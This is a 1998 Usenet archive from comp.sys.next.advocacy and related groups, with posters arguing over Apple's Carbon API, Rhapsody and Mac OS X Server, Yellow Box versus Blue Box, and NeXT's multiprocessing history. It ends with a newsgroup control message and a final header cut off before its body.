QuickTime 3 on Windows. A lot of what it brings to Windows is in fact a
re-implementation of a big part of the Mac Toolbox.
Jim Batson, one of the top QT guys, is also one of the top guys on Carbon
if not the #1.
A point that was made at WWDC 98 was that much of the work in creating a
portable Toolbox is *already done* as part of that effort.
Rob
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Wed, 07 Oct 1998 22:25:52 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vgioe$8j5$1@pascal.a2000.nl>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170>
<6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <6vgf9d$fv4$1@nnrp1.dejanews.com> , "Charles Swiger"
<chuck@codefab.com> wrote:
>Exactly what do you think Carbon is?
>(Hint: it's not a wrapper.)
I don't see your point. The less it is a wrapper, the more work will have to
be done, and the stronger I feel about my original point. Whatever Carbon
is, or may be, or will become, any apps that anyone ports to it will need
more testing than just "Carbon dating". With no environment to test in, this
is a problem.
>(Hint: They didn't grow on trees! Many of them left Apple to say with Jobs
>when he founded NeXT. Just like many NEXTSTEP/OPENSTEP developers formerly
>did Mac development.)
Well, ok. I did not consider this.
Pascal.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu>
Message-ID: <361ab93b.0@news.depaul.edu>
Date: 7 Oct 98 00:43:39 GMT
In comp.sys.next.advocacy spammers@ruin.the.internet.channelu.com wrote:
> Really?! I find it hard to belive that anyone in their right mind would code
> in Java to use YB? Why? Seems to defeat the whole idea of crossplatform
> compatibility.
Realistically, cross-platform compatability isn't a big deal for most
Java projects that aren't applets. If you're only going to deploy on
Windows or the Mac, why worry about going cross-platform?
Who cares if your order-entry system won't run on a Sparc, if a
Sparc will never be used for order entry at your company?
The fact is, most people don't really care about making their app
run on a toaster or set-top box. They know who their user is, and
they know what hardware and OS are used. They don't care about
Scott McNealey's cross-platform fantasy, they want to use Java
to write software and get their work done.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: fungus <spam@egg.chips.and.spam.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Wed, 07 Oct 1998 02:07:22 +0200
Organization: SERVICOM
Message-ID: <361AB0BA.F59856D3@egg.chips.and.spam.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com>
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Just Me wrote:
>
> No thanks. Even though I am really getting disgusted with Windows
> with having to reboot once or twice a day on average, I like my
> industry. Too bad they are standardizing on Windows NT. Eventually
> maybe the backlash that is sure to come will force M$ to come up with
> a stable product rather than continually adding new do-hickeys.
Have seen the spec for Windows NT 5.0?
It puts all of DirectX 6.0 inside the kernel, so you can
play games in the same memory space as your web server.
Somebody pass the ClueBat(tm)...
--
<\___/>
/ O O \
\_____/ FTB.
Message-ID: <361AB985.AE669F81@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de>
<pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Tue, 06 Oct 1998 20:45:58 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 19:44:53 -0500
John Jensen wrote:
> Mac developers didn't really agree with Carbon. It was Carbon that
> agreed with Mac developers.
>
> The Mac has been a good business for some, but there has always been the
> temptation of larger markets. Those who were open to the markets
> opportunities tended to drift off in search of higher profits. In the
> last few years, with dwindling Macintosh market share, the trend has
> accelerated. The only people left are those who really wanted to stay in
> that groove.
>
> Carbon is a change without a change. It lets you stay in that groove.
I wouldn't be so charitable. Carbon is nothing more than a way of
allowing Apple to re-implement the MacOS Toolbox. Apple has basically
set a series of goals for Carbon and then has removed the calls that are
incompatible with those goals.
It's a great idea. Unfortunately, it should have been done for MacOS 8.
It is the sort of pruning that should happen to all APIs when they have
become outdated but still contain a lot of reason for continuation.
Carbon is a MacOS technology; it belongs in MacOS.
Let me review the above:
1) Carbon is a modest but necessary upgrade to the Toolbox
2) Carbon belonged in MacOS 8 but Apple failed to plot the strategy in
time
Moving on to the present, we're now looking at Carbon in the context of
Rhapsody. Why? Carbon shouldn't be competing with YB! It shouldn't be
competing with the Blue Box. It's totally out of place on Rhapsody!
1) Carbon draws attention and development effort (and incentive) away
from YB
2) Carbon's presence on Rhapsody deprecates the Rhapsody Blue Box
3) Carbon's absence on MacOS (for the time being) deprecates MacOS
The whole thing is totally muddled! It could be so simple:
1) Carbon belongs in MacOS, where it will represent the next breed of
MacOS software tools and applications, and the future of that platform
2) Blue Box is the appropriate backward-compatibility solution for
Rhapsody, because it
a) works
b) runs *all* MacOS software, not just Carbon apps
c) provides clear distinction between YB and Toolbox apps
Moving on the future, we're now looking at YB without a home. We're also
looking at a MacOS and Rhapsody at odds with each other, with MacOS the
long-term loser (when it can actually best afford to lose a bit in the
short-term) and Rhapsody the long-term winner (though it *needs* to win
in the short-term).
> I think it really remains to be seen if the kind of developer who will
> choose something new and different will choose the Yellow Box. If you are
> looking at the entire market you have lots of options.
What panicked developers was not the lack of something like Carbon on
Rhapsody. It was the lack of something like Carbon on MacOS. In fact,
Apple's rollout of Carbon for Rhapsody did little more than confirm that
Apple had already given up on MacOS.
There should never have been a "Carbon". There should have been a "MacOS
8 with improved API and better capabilities". MacOS 8 should have had
the capabilities Carbon apps will enjoy under Rhapsody. Failing that,
MacOS 8.5 should have had them. Instead, MacOS is the red-headed
stepchild and Rhapsody is the favorite child. All of this before
Rhapsody has even shipped!
As Gilbert Amelio said once upon a time (back in May of 1997):
"Rhapsody's wonderful ... but it's not for sale right now. Let's not
oversell the future before it's there."
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 15:35:00 -0500
Organization: Ericsson North America Inc.
Message-ID: <361BD074.B99A3712@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de><pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.com> <361AB985.AE669F81@nstar.net> <01bdf1a2$79d91df0$06387880@chewy> <361AFD8E.E52C04D6@nstar.net> <slrn71nhub.3p2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> What's so disgusting?
>
> Just a little while ago, you were whinging about all the kernel and
> I/O oriented things that old MacOS does wrong, which would undoubtably
> be fixed by MacOSX/Rhapsody.
>
> Now, you're disgusted by this supposed trick of letting MacOS ''die''?
> Why are you shedding so many tears?
>
> Doesn't Carbon mean that the useful parts of it will continue to live on
> longer, and the obsolete parts will eventually wither?
>
> And the Blue Box will *still* be there.
>
> I'm completely mystified by you. What *IS* the problem?
>
> Would you rather have forced developers to give up MacOS toolbox calls
> completely in order to get protected memory, decent blocking I/O, real
> virtual memory, et cetera?
You're mystified? Why don't you try a little trick I like to use (this
always seems to work). It's called "reading the thread".
In this case, I bet it would work for you, too, because is you'd read
the thread you'd have seen (for example):
"[Carbon is] a great idea. Unfortunately, it should have been done for
MacOS 8. It is the sort of pruning that should happen to all APIs when
they have become outdated but still contain a lot of reason for
continuation. Carbon is a MacOS technology; it belongs in MacOS."
You might also have seen this (from the same posting as the one above):
"What panicked developers was not the lack of something like Carbon on
Rhapsody. It was the lack of something like Carbon on MacOS. In fact,
Apple's rollout of Carbon for Rhapsody did little more than confirm that
Apple had already given up on MacOS."
> :Basically, Apple gave YB a late-term abortion.
>
> Incomprehensible. It was the deep-pocket developers who had no
> interest in YB who forced Carbon.
Considering that Amelio already knew that developers would show no early
interest, one wonders what took Jobs so long to figure it out. To
Amelio, it was a reason to improve the MacOS and plan Rhapsody for the
long term. To Jobs it was a reason to showboat at public events and
panic every time his wonderful charm failed to woo the world into
compliance.
It's almost as if Jobs was so used to grandstanding and having everybody
fall all over themselves in love and gratitude...that the one time the
audience wouldn't clap at his jokes, he was completely at a loss for
what to do next. Come to think of it, we never saw Jobs do *anything*
but give speeches at trade shows and interviews for an adoring press
(and storm out of a few board meetings when the going got tough; too bad
Ellison wouldn't let him quit).
I watched Jobs sweep in and sweep Amelio out. I watched him shoo aside
the Old Man's ideas and bring his "energy and vision" to the show. In
truth, he was nothing more than "a lot of talk and a badge", to quote
DeNiro's Capone.
> MacOS Classic has obsolete internals.
What about it? Carbon will run on *something*, right? Whatever it is,
ship it with Carbon on top and call it MacOS 9. What's the difficulty,
here?
> And Carbon doesn't "seal YB's fate".
Yes, it does. Carbon has officially invaded Rhapsody in the form of
MacOS X, which makes YB the minority API. If developers didn't want YB
while Apple was pushing it, I suppose we're suddenly going to see
somebody accepting it now that Apple has made it a back-burner item.
Right...
> :Exactly! And Carbon deployed on MacOS would have been a stroke of
> :genius.
>
> Read above. "MacOS (classic) architecture is inherently bad for the
> fundamental capabilities we expect in a modern OS."
[sigh] But the BSD + Carbon mixture is not, correct?
> What is the difference between what you described and MacOS X?
One is Rhapsody 2.0 and the other could have been MacOS 9.0. One could
have had a NeXT UI, the other could have been classic MacOS. One could
have had a UNIX commandline, the other could have had nothing apart from
traditional graphical tools. One could have had man pages and Digital
Webster's and Shakespeare and GNU tools and an X server and any number
of other no-compromise features, while the other could have had Themes
and Sound Packs and Zippity-Doo-Dah gadgets and whatever else the MacOS
market buys these days.
One could have had all YB apps with pervasive Services and integrated
apps and EOF and crazy-sniffable OpenStep features with a Blue Box for
backward compatibility, and the other could have had System 7 and Carbon
apps running side-by-side, the one kind all in one memory space, the
other kind with PMT and PM, just the way Win95 does it.
It's called a strategy.
MJP
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Wed, 07 Oct 1998 22:37:23 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vgje0$9ol$1@pascal.a2000.nl>
References: <36099217.345010578@news.newsguy.com>
<6vedtf$6o1$1@pascal.a2000.nl> <rbarrisF0G0sA.Ity@netcom.com>
<6vfvu3$rak$1@pascal.a2000.nl> <rbarrisF0H4F9.Bwy@netcom.com>
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In article <rbarrisF0H4F9.Bwy@netcom.com> , rbarris@netcom.com (Robert
Barris) wrote:
>A point that was made at WWDC 98 was that much of the work in creating a
>portable Toolbox is *already done* as part of that effort.
And still there is nothing that developers can use to test their
Carbon-apps.
Pascal.
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Tue, 06 Oct 1998 08:37:33 -0700
Organization: University of California, Los Angeles
Message-ID: <361A3938.8C8C17BF@yahoo.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <361655C1.977A0B2C@yahoo.com> <6v8f5v$8l7@news1.panix.com>
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Sal Denaro wrote *in part*):
> On Sat, 03 Oct 1998 09:51:37 -0700,
> Robert Fovell <rfovell@yahoo.com> wrote (*in part*):
> >A modest proposal: Roll out Mac OS X Server *quietly*, if indeed the candle's
> >ready to be lit.
>
> I think this would be a repetition of countless quiet roll outs that Apple
> has done in the past, and would do just as well (big failure)
>
> Apple should let the iMac hype mellow out, and then roll out WebObjects 4.0
> and Mac OS X Server and hype the living daylights out of it. They should hype
> it to developers the same way the iMac is being hyped to consumers.
I believe there's a larger market out there than just developers. Anyone who
already uses Macs and Unix machines may well be interested. Blue Box looks better
than MAE ever did. Also, Mac users who have tried Unix and/or Linux -- Solaris,
LinuxPPC, whatever -- but found it impractical or daunting for whatever reason may
also be interested. Apple's not going to sell this thing with prime-time TV ads;
nor should they.
I still think Apple can roll it out quietly, by putting it in the hands of existing
Mac/Unix users and let the buzz build from there. If I had any say at Apple, I'd
tell them to get Mac OS X Server into the hands of people like Tom Keyes, Bob
Collins, and Jason S. (to name three who have posted in CSMA), for example. Low key
ads in "Linux Journal". And so on.
> >The problem with MOSXS is that it
> >now carries the "Mac OS" moniker, which may fool someone expecting - and needing
> >- something more like OS 8.5.
>
> I think that's why they added the "server" at the end. I would also expect it
> to be closer to $500 than the $100 or so that 8.5 will cost.
I hope they price it no higher than WinNT workstation. Key word: *hope*.
> > I believe, hopefully not foolishly, that in MOSXS
> >Apple has a product that can get Unix/Linux ubergeeks excited. This is a good
> >thing, and need not cloud their other marketing strategies, IMHO.
>
> Heck, every time someone mentions the iMac on slashdot.org, the Unix/Linux
> ubergeeks go nuts.
The iMac isn't being marketed to *them*. Hopefully, they're savvy enough to realize
that.
Or do you mean they indulging in self-aggrandizing pomposity? Back in the '80s, I
had a long argument with some self-described DOS "power user". He was deriding the
Mac -- it was a toy, who needs a mouse, CLI rules and Mac drools -- the usual crap.
His last, most desperate wail? "But my *mother* could use a Mac...". That was the
real bottom line.
> It is almost as bad as the KDE/Gnome flame wars. I think
> it is a given that some portion of the Linux crowd will look at MacOSX. They
> like anything that is new and has a bunch of new buzzwords attached to it.
Why keep them waiting, if in fact Mac OS X Server is ready now? One caveat: maybe
Apple fears dramatically higher support costs, if Rhapsody is released to a wider
audience. That might well be a valid concern.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: mazulauf@mistral.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 6 Oct 1998 16:25:07 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn71kh2s.jgv.mazulauf@mistral.met.utah.edu>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <361655C1.977A0B2C@yahoo.com> <6v8f5v$8l7@news1.panix.com> <361A3938.8C8C17BF@yahoo.com>
NNTP-Posting-Date: 6 Oct 1998 16:25:07 GMT
In article <361A3938.8C8C17BF@yahoo.com>, Robert Fovell wrote:
>
>I believe there's a larger market out there than just developers. Anyone who
>already uses Macs and Unix machines may well be interested. Blue Box looks better
>than MAE ever did. Also, Mac users who have tried Unix and/or Linux -- Solaris,
>LinuxPPC, whatever -- but found it impractical or daunting for whatever reason may
>also be interested.
I agree with this. I would love to have a system like this. Right now I'm
using MkLinux quite a bit, only rebooting into the MacOS when necessary.
Rhapsody would solve that problem. Unfortunately, Apple won't support it on
my machine, and I no longer trust Apple enough to buy a new machine just to
run it.
Fortunately, there is supposedly a version of Sheepshaver in the works for
the PPC Linuxes. That may be what I'm looking for, at least in the short
term. Long term is looking a bit more murky. I don't want to go Wintel,
but that's looking more likely all the time.
>I hope they price it no higher than WinNT workstation. Key word: *hope*.
I agree, there's no reason to price it too high. That would only kill any
chance it might have to gain a wider acceptance. Lower than NT would be
even better. . .
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: PCM Tests the iMac again
Date: 6 Oct 1998 16:45:15 GMT
Organization: Michigan State University
Message-ID: <6vdher$e6u$1@msunews.cl.msu.edu>
References: <3619BF6A.6159336B@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mjpeck@nstar.net
In <3619BF6A.6159336B@nstar.net> Michael Peck wrote:
> Jobs' insultingly deceitful claims to iMac performance are an
> embarassment. This is out of control.
>
> http://www.zdnet.com/pcmag/firstlooks/9810/f981002a.html
>
I read this article and checked out the results reported. How does this
retesting (presumably to improve performance of the iMac) apply
to your above statement??
I did notice they quoted Jobs as saying iMac is 3x as fast as a PII.
I personally think that selling the computer on performance comparisions
is plain dumb. That is something now that we have the internet which
will spread like lightning by word of mouth and through independant
tests. If it's true it will become known quickly. If not that will also
become known rather quickly..
I don't see how you can assert "This is out of control"? Please explain
your reasoning.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Tue, 06 Oct 1998 17:17:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vdjbo$5u1$1@nnrp1.dejanews.com>
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net> <3618e783.0@news.depaul.edu> <x7n27aved2.fsf@loathe.com>
In article <x7n27aved2.fsf@loathe.com>,
Matt Evans <bmajik@loathe.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
[ ... ]
>> 3) NeXT's experience with multi-processing and distributed processing
>> may create some interesting results. (Does Crandall work at Apple now?
>> What's he been doing? Anyone know?)
>
> What multiprocessing experience does next have ? They have NXHosting.
> They have WebObjects, and a decent way of doing cross platform binaries.
> Nothing about that implies multiprocessing.
What do you think the NeXT Dimension board is? It's a NUMA AMP system. They
also had the 56001 DSP processor on all black machines, and that's another
form of multiprocessing.
> For MacOS X to be SMP capable they'll at least need a new versino of Mach.
Wrong. The version of Mach NeXT had multiprocessor support capability-- it
simply required changes at other levels.
> Not many OSes do SMP very well anyhow,
That's true.
> and any version of NS, OS, or rhapsody is certainly not one which does.
> Apple has *nothing* that deals with more than 1 cpu to my knowledge.
> Neither does NeXT. It's totally new territory for them.
Wrong. It's obvious that "your knowledge" is very limited. Mach was
explicitly _designed_ with multiprocessor support and a single uniform IPC
mechanism that made the distinction between local and network resources
transparent. Mach has a sophisticated notion of processor sets and CPU
capabilities, and will migrate processes (and possibly even Mach threads,
depending on whether the memory space is uniform and what the coherency
support is)between CPUs in order to better balance the compute load.
Beyond the Dimension, NeXT had been working on a SMP box called the NRW (NeXT
RISC Workstation), which was originally based on m88k's and later on 601/PPC
when they shut down hardware production. They had full SMP working on that
machine, and doing the right things. Consult DejaNews for postings by Mike
Paquette for the details.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: u8222015@cc.nctu.edu.tw (Spencer Yu)
Newsgroups: comp.sys.next.advocacy
Subject: What happends to MacOS X Server?
Date: 6 Oct 1998 17:36:37 GMT
Organization: National Chiao Tung University, Hsinchu, Taiwan
Message-ID: <6vdkf5$a0m$1@news2.nctu.edu.tw>
Any news from Apple about MacOS X Server? I thought the shipping
date is very very close now..and the silence is making me scared...
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Tue, 06 Oct 1998 17:27:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vdjuj$6m3$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com> <6vbhrp$6hn$1@nnrp1.dejanews.com> <6vcc8u$opc$2@supernews.com>
In article <6vcc8u$opc$2@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
[ ... ]
>>There are operating systems out there which stay up for years at a time
>>*without* rebooting (voluntarily or because of a crash), even when people
>>install or upgrade software.
>>
>>You shouldn't _have_ to reboot in order to use a computer.
>
> To reboot to another OS I do.
Congratulations. You may have just set a record for the greatest distance
between your brain and the point at hand.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 7 Oct 98 17:23:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B241542D-BDD08@206.165.43.27>
References: <6vg10f$t3g$1@pascal.a2000.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Pascal Haakmat <ahaakmat@MAPSON.cable.a2000.nl> said:
>
>But that depends on the quality of the Carbon implementation. The
>difficulty
>of porting Photoshop and other Mac apps depends on the degree in which
>Carbon behaves exactly like the classic Mac Toolbox. And that, my dear
>friends, is very much what Copland intended to do at one time.
Not exactly. The difficulty could come from several directions. The Carbon
API is supposed to look and behave *very much like* the Classic MacOS API,
but be conducive to supporting PMT and PM and other buzz-words. I don't see
that the needs of a PhotoShop-style app would be very difficult to
implement using the Carbon API since Adobe does all the hard stuff with
their own custom code, and likely only uses the Mac API for GUI-related
stuff.
If I'm correct, PhotoShop would be an ideal test app for Carbon since
porting it should be (and apparently was) trivial. Apps that stretch the
boundries of the GUI and API might be considerably harder to port to
Carbon. MS Word, for instance, is known to do some VERY bizarre patching of
traps for really trivial purposes, such as adding a 3D button to the Alert
Manager. THAT kind of app wouldn't be as easy to port to Carbon, I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Tue, 6 Oct 1998 15:38:49 -0500
Organization: phenix@interpath.com
Message-ID: <1dghhq4.1hxaolk17qqkoqN@roxboro0-047.dyn.interpath.net>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com> <3617CDBF.E5817D05@nstar.net> <6v9jqc$1jfi$1@piglet.cc.uic.edu> <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net> <3618e783.0@news.depaul.edu> <x7n27aved2.fsf@loathe.com> <6vdjbo$5u1$1@nnrp1.dejanews.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b2
Charles Swiger <chuck@codefab.com> wrote:
> > and any version of NS, OS, or rhapsody is certainly not one which does.
> > Apple has *nothing* that deals with more than 1 cpu to my knowledge.
> > Neither does NeXT. It's totally new territory for them.
>
> Wrong. It's obvious that "your knowledge" is very limited. Mach was
> explicitly _designed_ with multiprocessor support and a single uniform IPC
> mechanism that made the distinction between local and network resources
> transparent.
Not to mention that apple has had a SMP API for sometime as well as
experience in trying to put it into Copland.
A search dejanews will show a lot of matches for SMP and apple.
--
John Moreno
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Thu, 08 Oct 1998 03:22:32 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vh44k$go9$1@pascal.a2000.nl>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27>
Mime-Version: 1.0
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In article <B241542D-BDD08@206.165.43.27> , "Lawson English"
<english@primenet.com> wrote:
>If I'm correct, PhotoShop would be an ideal test app for Carbon since
>porting it should be (and apparently was) trivial.
Sure, you are right. However the development of Carbon itself may not be
(and apparently isn't) trivial.
Pascal.
From: group-admin@isc.org (David C Lawrence)
Newsgroups: comp.sys.next.advocacy
Subject: cmsg newgroup comp.sys.next.advocacy
Control: newgroup comp.sys.next.advocacy
Message-ID: <907808742.2430@isc.org>
Date: Thu, 08 Oct 1998 01:05:42 -0000
ftp://ftp.isc.org/pub/pgpcontrol/README
iQCVAwUBNhwP5sJdOtO4janBAQH/ZAP/fZAP6esHIyq2QaoK45rETbqSFGYVkF75
61fPo6esUkAbXX+biaGIqHwrNKLj0QE0w9f5xm/ks8hJJ3Y64nlYaWFy8zVr1fnV
wifBdVRiobPCmTFjX+jc2+ylQd5xumQq/mAGIdBbo2Nj5u5pKesjaiRYPtagmPyn
F6rBE62UNJk=
=gRW8
comp.sys.next.advocacy is an unmoderated newsgroup which passed its vote for
creation by 368:99 as reported in news.announce.newgroups on 15 Apr 1992.
For your newsgroups file:
comp.sys.next.advocacy The NeXT religion.
The charter, culled from the call for votes:
This group is a forum for:
1. Discussion of (and providing feedback on) NeXT Policy
2. Speculations concerning NeXT's future
3. Expressing strong, perhaps unpopular opinions
4. Long, philosophical (or unanswerable) discussions
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
